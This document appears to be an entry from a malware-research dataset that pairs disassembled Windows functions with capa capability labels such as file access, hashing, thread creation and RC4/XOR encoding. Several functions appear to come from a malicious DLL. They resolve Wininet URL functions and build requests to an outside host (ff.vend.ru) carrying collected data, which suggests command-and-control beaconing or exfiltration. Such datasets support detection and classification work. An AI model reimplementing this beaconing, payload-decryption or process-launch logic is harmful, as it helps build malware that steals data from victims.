joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406fab
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [0x427d40]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push 0x60
xor ebx, ebx
lea eax, [ebp - 0x67]
push ebx
push eax
mov byte [ebp - 0x68], 0
call fcn.0040b2f0
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x7c]
push eax
push ebx
push ebx
push dword [esi]
call fcn.00406db5
add esp, 0x24
mov dword [ebp - 0x70], ebx
cmp dword [ebp - 0x78], ebx
jle 0x407060
mov ebx, dword [sym.imp.WSOCK32.dll_ntohl]
push dword [esi]
lea eax, [ebp - 0x6c]
push 1
push 4
push eax
call fcn.0040d333
add esp, 0x10
cmp eax, 1
jne 0x407060
push dword [ebp - 0x6c]
call ebx
push dword [esi]
sub eax, 8
push 1
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x74]
push 4
push eax
call fcn.0040d333
add esp, 0x10
cmp eax, 1
jne 0x407060
push dword [ebp - 0x74]
call ebx
mov dword [ebp - 0x74], eax
cmp eax, 1
je 0x407072
push 1
push dword [ebp - 0x6c]
push dword [esi]
call fcn.0040e318
add esp, 0xc
test eax, eax
jne 0x407060
inc dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x78]
jl 0x406ffc
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b2d4
leave
ret
cmp dword [ebp - 0x6c], 0x60
jg 0x407060
push dword [esi]
lea eax, [ebp - 0x68]
push 1
push dword [ebp - 0x6c]
push eax
call fcn.0040d333
add esp, 0x10
cmp eax, 1
jne 0x407060
lea eax, [ebp - 0x68]
push eax
call fcn.0040ac60
pop ecx
lea ecx, [ebp - 0x68]
mov dword [edi], ecx
lea esi, [ebp + eax - 0x67]
cmp eax, 0x40
jl 0x4070ad
and dword [edi], 0
jmp 0x407060
push esi
call fcn.0040ac60
pop ecx
mov dword [edi + 4], esi
cmp eax, 0x20
jl 0x4070c5
and dword [edi], 0
and dword [edi + 4], 0
jmp 0x407060
push dword [edi]
call fcn.0041c2cd
push dword [edi + 4]
mov dword [edi], eax
call fcn.0041c2cd
pop ecx
mov dword [edi + 4], eax
pop ecx
xor eax, eax
jmp 0x407063

Function at 0x407126
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx + 8]
mov edx, dword [ebp + 0x10]
cmp edx, eax
jne 0x40713a
xor eax, eax
pop ebp
ret
jle 0x407141
or eax, 0xffffffff
pop ebp
ret
sub eax, edx
push edi
mov edi, eax
cmp edi, dword [ebp + 0x18]
jle 0x40714e
mov edi, dword [ebp + 0x18]
mov eax, dword [ecx + 4]
push esi
mov esi, dword [ebp + 8]
push 0
add eax, edx
push eax
push dword [esi]
call fcn.0040e318
add esp, 0xc
test eax, eax
je 0x40716d
or eax, 0xffffffff
jmp 0x40717d
push dword [esi]
push edi
push 1
push dword [ebp + 0x14]
call fcn.0040d333
add esp, 0x10
pop esi
pop edi
pop ebp
ret

Function at 0x409f65
Capabilities:
Hash data using sha1
Initialize hashing via wincrypt

Disassembly:
xor ecx, ecx
cmp dword [esp + 4], ecx
je 0x409f91
mov eax, dword [esp + 8]
cmp eax, ecx
je 0x409f91
push eax
push ecx
push ecx
push 0x8004
push dword [esp + 0x14]
mov dword [eax], ecx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
neg eax
sbb eax, eax
neg eax
dec eax
ret
or eax, 0xffffffff
ret
Function at 0x409fc2
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
cmp dword [ebp + 8], edi
je 0x40a078
cmp dword [ebp + 0xc], edi
je 0x40a078
mov esi, dword [ebp + 0x14]
cmp esi, edi
je 0x40a078
cmp dword [ebp + 0x18], edi
je 0x40a078
cmp dword [ebp + 0x1c], edi
je 0x40a078
cmp dword [ebp + 0x10], edi
jne 0x40a004
xor eax, eax
jmp 0x40a090
push dword [ebp + 8]
push 1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.0040d333
add esp, 0x10
cmp eax, 1
je 0x40a037
push dword [ebp + 0x1c]
push str.ERROR:_Could_not_read__s_n
call fcn.0040e9f4
add eax, 0x40
push eax
call fcn.0040e8e8
add esp, 0xc
jmp 0x40a08d
cmp dword [ebp + 0x18], edi
jbe 0x409ffd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call fcn.00409f95
add esp, 0xc
test eax, eax
jne 0x40a05a
inc edi
add esi, 4
cmp edi, dword [ebp + 0x18]
jb 0x40a03c
jmp 0x409ffd
push dword [ebp + 0x1c]
push str.ERROR:_Could_not_update_verify_context_for__s_n
call fcn.0040e9f4
add eax, 0x40
push eax
call fcn.0040e8e8
add esp, 0xc
push 0xfffffffffffffffe
pop eax
jmp 0x40a090
push str.ERROR:_Invalid_parameter_specified._n
call fcn.0040e9f4
add eax, 0x40
push eax
call fcn.0040e8e8
pop ecx
pop ecx
or eax, 0xffffffff
pop edi
pop esi
pop ebp
ret
Function at 0x40b2d4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x427d40]
jne 0x40b2de
repz ret
jmp fcn.004123de

Function at 0x40d5e7
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
jne 0x40d60f
call fcn.0040e12c
and dword [eax], 0
call fcn.0040e119
mov dword [eax], 0x16
call fcn.004121d9
or eax, 0xffffffff
pop ebp
ret
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40d62c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040e13f
pop ecx
jmp 0x40d60a
test byte [ebp + 0xc], 0x80
je 0x40d637
and eax, 0xfffffffe
jmp 0x40d63a
or eax, 1
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x40d61d
xor eax, eax
pop ebp
ret

Function at 0x40e1f7
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x40e21e
call fcn.0040e12c
mov dword [eax], esi
call fcn.0040e119
push 0x16
pop esi
mov dword [eax], esi
call fcn.004121d9
mov eax, esi
jmp 0x40e273
test dword [ebp + 0xc], 0xfffffff9
jne 0x40e204
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40e24b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040e13f
pop ecx
call fcn.0040e119
mov eax, dword [eax]
jmp 0x40e273
test al, 0x10
jne 0x40e271
test al, 1
je 0x40e271
test byte [ebp + 0xc], 2
je 0x40e271
call fcn.0040e12c
mov dword [eax], 5
call fcn.0040e119
mov dword [eax], 0xd
jmp 0x40e242
xor eax, eax
pop esi
pop ebp
ret
Function at 0x4196ac
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x427d40]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00410db3
and dword [ebp - 0x14], 0
cmp dword [0x42abfc], 0
mov dword [ebp - 0x18], eax
jne 0x41975f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x419807
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x419807
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42abfc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42ac00], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42ac04], eax
call edi
push eax
call esi
mov dword [0x42ac0c], eax
test eax, eax
je 0x41975f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42ac08], eax
mov eax, dword [0x42ac08]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4197b8
cmp dword [0x42ac0c], ecx
je 0x4197b8
push eax
call esi
push dword [0x42ac0c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4197b8
test ebx, ebx
je 0x4197b8
call edi
test eax, eax
je 0x4197af
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4197af
test byte [ebp - 8], 1
jne 0x4197b8
or dword [ebp + 0x10], 0x200000
jmp 0x4197eb
mov eax, dword [0x42ac00]
cmp eax, dword [ebp - 0x18]
je 0x4197eb
push eax
call esi
test eax, eax
je 0x4197eb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4197eb
mov eax, dword [0x42ac04]
cmp eax, dword [ebp - 0x18]
je 0x4197eb
push eax
call esi
test eax, eax
je 0x4197eb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42abfc]
call esi
test eax, eax
je 0x419807
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x419809
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b2d4
leave
ret
Function at 0x10001660
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 8], 0
je 0x100017d9
mov ecx, dword [0x10004368]
cmp byte [ecx + 0x81], 0
je 0x100017d9
cmp dword [ecx + 0x2c], 1
je 0x10001693
cmp dword [ecx + 0x2c], 3
jne 0x100017d9
mov eax, dword [ecx + 0x24]
push ebx
push esi
push edi
mov eax, dword [eax + 0x4d]
mov dword [ebp - 8], eax
movzx eax, word [ecx + 0x30]
mov dword [ebp - 0xc], eax
mov eax, dword [0x10004370]
dec eax
je 0x1000175c
dec eax
je 0x1000172b
dec eax
je 0x10001703
dec eax
jne 0x100016ef
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x100016d5
mov edi, dword [edi + 0x12]
jmp 0x100016d8
add edi, 0x12
mov eax, dword [ecx + 0x235]
lea ebx, [ecx + 0x131]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x30]
jmp 0x1000178b
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
jmp 0x1000178b
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001723
mov edi, dword [edi + 0x2f22]
jmp 0x100016d8
add edi, 0x2f22
jmp 0x100016d8
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x10001745
mov edi, dword [edi + 6]
jmp 0x10001748
add edi, 6
mov eax, dword [ecx + 0x221]
lea ebx, [ecx + 0x11d]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x1c]
jmp 0x1000178b
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x10001776
mov edi, dword [edi + 0xa]
jmp 0x10001779
add edi, 0xa
mov eax, dword [ecx + 0x225]
lea ebx, [ecx + 0x121]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 4], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.17761
mov esi, eax
push dword [ebp - 8]
mov eax, dword [ebp - 0xc]
movzx ecx, ax
push ecx
push edi
push ebx
push dword [ebp + 8]
push dword [ebp - 4]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_ws_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100017df
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
movzx ecx, ax
cmp ecx, 0xffff
jne 0x10001959
cmp byte [0x100043e7], 0
je 0x10001945
mov eax, dword [0x10004370]
push esi
push edi
dec eax
je 0x100018c4
dec eax
je 0x10001890
dec eax
je 0x10001868
dec eax
jne 0x10001851
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x10001834
mov edi, dword [edi + 0x12]
jmp 0x10001837
add edi, 0x12
lea eax, [ecx + 0x131]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x235]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x30]
jmp 0x100018f6
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
jmp 0x100018f6
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001888
mov edi, dword [edi + 0x2f22]
jmp 0x10001837
add edi, 0x2f22
jmp 0x10001837
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x100018aa
mov edi, dword [edi + 6]
jmp 0x100018ad
add edi, 6
lea eax, [ecx + 0x11d]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x221]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x1c]
jmp 0x100018f6
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x100018de
mov edi, dword [edi + 0xa]
jmp 0x100018e1
add edi, 0xa
lea eax, [ecx + 0x121]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x225]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 8], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.17761
mov esi, eax
push 0x100043ec
push 0x270f
push edi
push dword [ebp + 8]
push dword [ebp - 4]
push dword [ebp - 8]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
mov byte [0x100043e7], 0
mov byte [0x100043ec], 0
mov esp, ebp
pop ebp
ret 4
cmp ecx, 0x8ff
jg 0x10001953
mov eax, dword [0x10004370]
cmp eax, 3
je 0x1000198d
cmp eax, 4
je 0x1000198d
cmp eax, 2
mov eax, dword [0x10004378]
jne 0x10001982
mov eax, dword [eax + 0x3c5]
jmp 0x10001998
mov eax, dword [eax + 0x3cd]
mov eax, dword [eax + 0x10]
jmp 0x1000199b
mov eax, dword [0x10004378]
mov eax, dword [eax + 0x3de]
mov eax, dword [eax + 0x20]
cmp dword [eax + ecx*4], 0
je 0x10001953
mov eax, dword [eax + ecx*4 + 0x2400]
mov dl, byte [eax]
test dl, dl
je 0x10001953
cmp byte [eax + 1], 0
jne 0x10001953
mov cl, byte [0x100043e7]
cmp cl, 0xa
jae 0x10001953
movzx eax, cl
inc cl
mov byte [0x100043e7], cl
mov byte [eax + 0x100043ec], dl
movzx eax, cl
cmp eax, 0xb
jae 0x100019e4
mov byte [eax + 0x100043ec], 0
jmp 0x10001953
call fcn.100023fa
int3
Function at 0x100019ea
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push str._log
push dword [0x1000437c]
call dword [sym.imp.MSVCR120.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x10001b47
mov eax, dword [0x1000437c]
push ebx
mov dword [ebp - 0xc], eax
mov eax, dword [0x10004370]
push esi
push edi
dec eax
je 0x10001acc
dec eax
je 0x10001a9b
dec eax
je 0x10001a73
dec eax
jne 0x10001a5f
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x10001a45
mov edi, dword [edi + 0x12]
jmp 0x10001a48
add edi, 0x12
mov eax, dword [ecx + 0x235]
lea ebx, [ecx + 0x131]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x30]
jmp 0x10001afb
mov eax, dword [ebp - 0xc]
mov edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
jmp 0x10001afb
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001a93
mov edi, dword [edi + 0x2f22]
jmp 0x10001a48
add edi, 0x2f22
jmp 0x10001a48
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x10001ab5
mov edi, dword [edi + 6]
jmp 0x10001ab8
add edi, 6
mov eax, dword [ecx + 0x221]
lea ebx, [ecx + 0x11d]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x1c]
jmp 0x10001afb
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x10001ae6
mov edi, dword [edi + 0xa]
jmp 0x10001ae9
add edi, 0xa
mov eax, dword [ecx + 0x225]
lea ebx, [ecx + 0x121]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 8], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.17761
mov esi, eax
push dword [ebp - 0xc]
push 0x194
push edi
push ebx
push dword [ebp - 4]
push dword [ebp - 8]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001b4b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x10004400]
cmp dword [ecx], 0
jle 0x10001c43
mov eax, dword [ecx + 0xc]
cmp byte [eax], 0xd7
jne 0x10001c43
and dword [ebp - 0x28], 0
lea eax, [ebp - 0x28]
push edi
push eax
lea edx, [ebp - 0x24]
call section..text
mov edi, dword [ebp - 0x28]
pop ecx
test edi, edi
je 0x10001c42
push ebx
xor ebx, ebx
test edi, edi
jle 0x10001c41
movzx eax, ax
mov dword [ebp - 0x38], eax
push esi
cmp dword [0x10004370], 3
jne 0x10001bee
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov eax, dword [eax + 8]
cmp dword [eax + 0x2f32], 0xf
jle 0x10001bce
mov eax, dword [eax + 0x2f22]
jmp 0x10001bd3
add eax, 0x2f22
mov dword [ebp - 0x28], eax
lea eax, [ecx + 0x131]
mov dword [ebp - 0x2c], eax
mov eax, dword [ecx + 0x235]
mov dword [ebp - 0x34], eax
lea eax, [ecx + 0x30]
mov dword [ebp - 0x30], eax
push 0x400
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.17761
mov esi, eax
push dword [ebp + ebx*4 - 0x24]
push dword [ebp - 0x38]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
inc ebx
cmp ebx, edi
jl 0x10001ba5
pop esi
pop ebx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100022b3
mov esp, ebp
pop ebp
ret

Function at 0x10002154
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1000401a], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
je 0x100021ac
mov edi, str.17761
xor esi, esi
push edi
push esi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x100021ac
push edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push esi
push esi
push 0x10001cf5
mov dword [0x10004390], eax
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0xc
push 0x104
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x108]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100021c5
mov esi, 0x100033e4
lea eax, [ebp - 0x108]
push 0x100033f0
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100022b3
mov esp, ebp
pop ebp
ret 4
Function at 0x10002205
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x100022ac
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push str.Wininet
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetOpenA
push eax
mov dword [0x100043f8], eax
call esi
push str.InternetOpenUrlA
push dword [0x100043f8]
mov dword [0x10004380], eax
call esi
push str.InternetCloseHandle
push dword [0x100043f8]
mov dword [0x10004384], eax
call esi
cmp byte [0x1000401a], 0
mov dword [0x10004388], eax
mov dword [0x10004374], edi
jne 0x100022aa
mov edi, str.17761
xor esi, esi
push edi
push esi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x100022aa
push edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push esi
push esi
push 0x10001cf5
mov dword [0x10004390], eax
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0xc
pop edi
pop esi
xor eax, eax
inc eax
pop ebp
ret 0xc
Function at 0x4011e0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x64
fldz
xor ecx, ecx
mov dword [esp + 4], ecx
mov dword [esp], ecx
fstp qword [esp + 8]
fld qword [0x425e68]
lea edx, [ecx + 1]
fsub qword [0x41f368]
fcomp qword [0x41f360]
fnstsw ax
fld1
test ah, 0x44
jp 0x401269
fld dword [0x425e2c]
fadd st(1)
fstp dword [0x425e2c]
mov eax, dword [0x424a28]
add eax, 0x3c7c1c5a
mov dword [esp + 4], eax
fild dword [esp + 4]
fld dword [0x425e2c]
mov eax, dword [esp]
add dword [esp], edx
mov dword [esp + 4], eax
fiadd dword [esp + 4]
fcompp
fnstsw ax
test ah, 0x41
jne 0x401277
fld qword [0x4242b8]
fadd qword [esp + 8]
fstp qword [0x4242b8]
fld qword [esp + 8]
fadd st(1)
fstp qword [esp + 8]
jmp 0x401277
mov eax, dword [0x4243b8]
add eax, dword [esp + 4]
mov dword [0x4243b8], eax
mov eax, dword [0x423504]
push esi
movzx esi, word [0x425e40]
add eax, 0x67791c97
imul esi, eax
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], ecx
mov word [0x425e40], si
mov dword [esp + 0x30], ecx
fld qword [0x425128]
mov dword [esp + 0x50], edx
fadd qword [esp + 0xc]
xor eax, eax
pop esi
fadd qword [0x4242b8]
fstp qword [0x4242b8]
fld qword [0x425128]
mov word [esp + 0x52], ax
fadd st(1)
fstp qword [0x425128]
add dword [0x4243b8], 0x9e27a1ad
fld qword [esp + 8]
mov eax, dword [0x424284]
fsubr qword [0x41f350]
mov dword [esp + 4], eax
fild dword [esp + 4]
mov dword [esp + 0x54], ecx
faddp st(1)
fcomp qword [0x41f348]
fnstsw ax
test ah, 0x41
jne 0x40132b
fadd qword [0x424340]
fstp qword [0x424340]
fld qword [0x424340]
fmul dword [0x4243a8]
fstp dword [0x4243a8]
jmp 0x40132d
fstp st(0)
mov word [esp + 0x50], dx
lea edx, [esp + 0x10]
push edx
mov edx, dword [esp + 0x6c]
lea eax, [esp + 0x24]
push eax
push ecx
push ecx
push 8
push ecx
push ecx
push ecx
mov ecx, dword [esp + 0x8c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
add esp, 0x64
ret
Function at 0x4014e0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x14
fldz
push ebx
push ebp
fst qword [esp + 0xc]
push esi
fstp qword [esp + 0x18]
mov esi, dword [esp + 0x28]
push edi
mov dword [esp + 0x10], 0
push esi
call fcn.0040b01a
mov ebp, dword [esp + 0x2c]
push esi
mov ebx, eax
push ebp
push ebx
call fcn.0040b0f0
mov ax, word [0x4241f0]
movsx edx, ax
mov dword [esp + 0x3c], edx
add esp, 0x10
lea ecx, [ebx + esi]
fild dword [esp + 0x2c]
or edx, 0xffffffff
fld qword [0x4241a8]
mov dword [esp + 0x28], ecx
fucompp
fnstsw ax
test ah, 0x44
jp 0x40156d
mov eax, dword [0x4251b4]
mov dword [esp + 0x2c], eax
fild dword [esp + 0x2c]
fadd qword [esp + 0x14]
add dword [0x4251b4], edx
fcomp qword [0x41f390]
fnstsw ax
test ah, 0x44
jnp 0x40156d
mov eax, 0x1f04
mov word [0x425e18], ax
mov edi, dword [0x4277a4]
add word [0x42511c], dx
add dword [esp + 0x10], edx
movzx edx, word [0x42511c]
movsx eax, dx
mov edx, dword [esp + 0x10]
sub eax, edx
mov edx, dword [esp + 0x10]
lea eax, [eax + edx - 0x8664de]
mov dword [esp + 0x10], eax
movzx edx, word [0x425e40]
movsx eax, dx
sub ebp, 0x423004
mov edx, 0x30271353
sub edx, eax
add edi, ebp
mov esi, ebx
mov dword [esp + 0x10], edx
cmp ebx, ecx
je 0x401623
fld qword [0x41f388]
fld qword [0x41f380]
fld dword [0x425184]
movzx eax, word [0x425e0c]
movsx ecx, ax
mov dword [esp + 0x2c], ecx
fild dword [esp + 0x2c]
fsubp st(1)
fstp dword [0x425184]
mov dl, byte [edi]
xor byte [esi], dl
fld qword [esp + 0x1c]
movzx eax, word [0x4242fc]
fadd st(2)
movsx ecx, ax
fsub st(1)
mov dword [esp + 0x2c], ecx
fild dword [esp + 0x2c]
fmulp st(1)
call fcn.0040af20
inc esi
inc edi
mov word [0x4242fc], ax
cmp esi, dword [esp + 0x28]
jne 0x4015cc
fstp st(1)
fstp st(0)
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x14
ret